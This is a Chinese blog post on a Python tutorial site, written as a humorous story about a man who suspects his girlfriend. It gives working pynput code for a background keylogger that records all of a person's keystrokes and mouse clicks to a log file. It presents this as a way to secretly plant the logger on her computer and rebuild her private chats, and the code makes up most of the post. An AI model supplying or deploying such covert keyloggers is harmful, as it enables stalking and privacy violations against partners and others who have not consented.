当前位置:
首页 > temp > python入门教程 >
-
Python获得女友聊天记录,一招解决疑神疑鬼
就在前段时间,在大学睡我上铺的兄弟,在兄嘚群里讨论,说:他发现女朋友这几天只要下班就坐在电脑前,不是工作原因。而且只要他靠近一点就会立即退出页面,所以他一直很怀疑,在群里问我们这一个个单身狗。然后就出现下面这一段对话。
很多人学习python,不知道从何学起。 很多人学习python,掌握了基本语法过后,不知道在哪里寻找案例上手。 很多已经做案例的人,却不知道如何去学习更加高深的知识。 那么针对这三类人,我给大家提供一个好的学习平台,免费领取视频教程,电子书籍,以及课程的源代码! QQ群:701698587 欢迎加入,一起讨论 一起学习!
A朋友:你直接问。
B朋友:你女朋友睡了后,偷偷拿电脑查。
C朋友:咱们不吊死在一棵树上,不对劲就早点脱身。
D朋友:我觉得A的不行,直接问容易打草惊蛇,不过他在你面前表现的这么明显,你可以去找他聊下,你们之间是不是感情出问题了。
F朋友:嘿,我不和你离的不远吗?支开你女朋友我上你家,帮你搞个能获得聊天记录的,这不就完美了吗?
1.使用pynput库
pynput 可以监控我们的键盘和鼠标。目前具有此类功能的库有很多,比如 pygame 等游戏库,但是当我们只需要监控键盘和鼠标时,它们就显得过于笨重了。
2.对键盘监控
在他的电脑常驻一个后台进程去实现监控键盘输入并记录下来,代码大概可以这样:
from pynput import keyboard
def on_press(key):
print(f'{key} :pushed')
def on_release(key):
#print(f'{key} released')
if key == keyboard.Key.esc:
# Stop listener
return False
with keyboard.Listener(on_press=on_press,on_release=on_release) as lsn:
lsn.join()
控制台打印:
3.对鼠标监控
from pynput import mouse
def on_click(x, y, button, pressed):
if button == mouse.Button.left:
print('left was pressed!')
elif button == mouse.Button.right:
print('right was pressed!')
return False
else:
print('mid was pressed!')
# Collect events until released
with mouse.Listener(on_click=on_click) as listener:
listener.join()
控制台打印:
你会发现,每条打印都被打印了两次,这是因为按下去和抬起来都会触发鼠标事件。
4.监控并记录到日志文件
from pynput import keyboard,mouse
from loguru import logger
from threading import Thread
# 定义日志文件
logger.add('demo.log')
def on_press(key):
logger.debug(f'{key} :pushed')
def on_release(key):
#print(f'{key} released')
if key == keyboard.Key.esc:
# Stop listener
return False
# 定义f1用于线程1
def f1():
with keyboard.Listener(on_press=on_press,on_release=on_release) as lsn:
lsn.join()
def on_click(x, y, button, pressed):
if button == mouse.Button.left:
logger.debug('left was pressed!')
elif button == mouse.Button.right:
logger.debug('right was pressed!')
return False
else:
logger.debug('mid was pressed!')
# 定义f2用于线程2
def f2():
# Collect events until released
with mouse.Listener(on_click=on_click) as listener:
listener.join()
if __name__ == '__main__':
# 起两个线程分别监控键盘和鼠标
t1 = Thread(target=f1)
t2 = Thread(target=f2)
t1.start()
t2.start()
查看日志内容:
这样键盘操作已经全部被记录,通过对这个日志文件进行简单的 NLTK 语言处理,就能复原聊天记录。
这个记录就不给你们展示了,属于隐私,但能告诉你们结果,嗯,其实他女友挺好,看我上铺兄弟每次都要加班很晚,身体有点不行了,但又好面子,所以偷偷给他在网上买补药,想给他补补~笑死
来源:https://www.cnblogs.com/pythonQqun200160592/p/15423871.html
最新更新
nodejs爬虫
Python正则表达式完全指南
爬取豆瓣Top250图书数据
shp 地图文件批量添加字段
爬虫小试牛刀(爬取学校通知公告)
【python基础】函数-初识函数
【python基础】函数-返回值
HTTP请求:requests模块基础使用必知必会
Python初学者友好丨详解参数传递类型
如何有效管理爬虫流量?
2个场景实例讲解GaussDB(DWS)基表统计信息估
常用的 SQL Server 关键字及其含义
动手分析SQL Server中的事务中使用的锁
openGauss内核分析:SQL by pass & 经典执行
一招教你如何高效批量导入与更新数据
天天写SQL,这些神奇的特性你知道吗?
openGauss内核分析:执行计划生成
[IM002]Navicat ODBC驱动器管理器 未发现数据
初入Sql Server 之 存储过程的简单使用
SQL Server -- 解决存储过程传入参数作为s
关于JS定时器的整理
JS中使用Promise.all控制所有的异步请求都完
js中字符串的方法
import-local执行流程与node模块路径解析流程
检测数据类型的四种方法
js中数组的方法,32种方法
前端操作方法
数据类型
window.localStorage.setItem 和 localStorage.setIte
如何完美解决前端数字计算精度丢失与数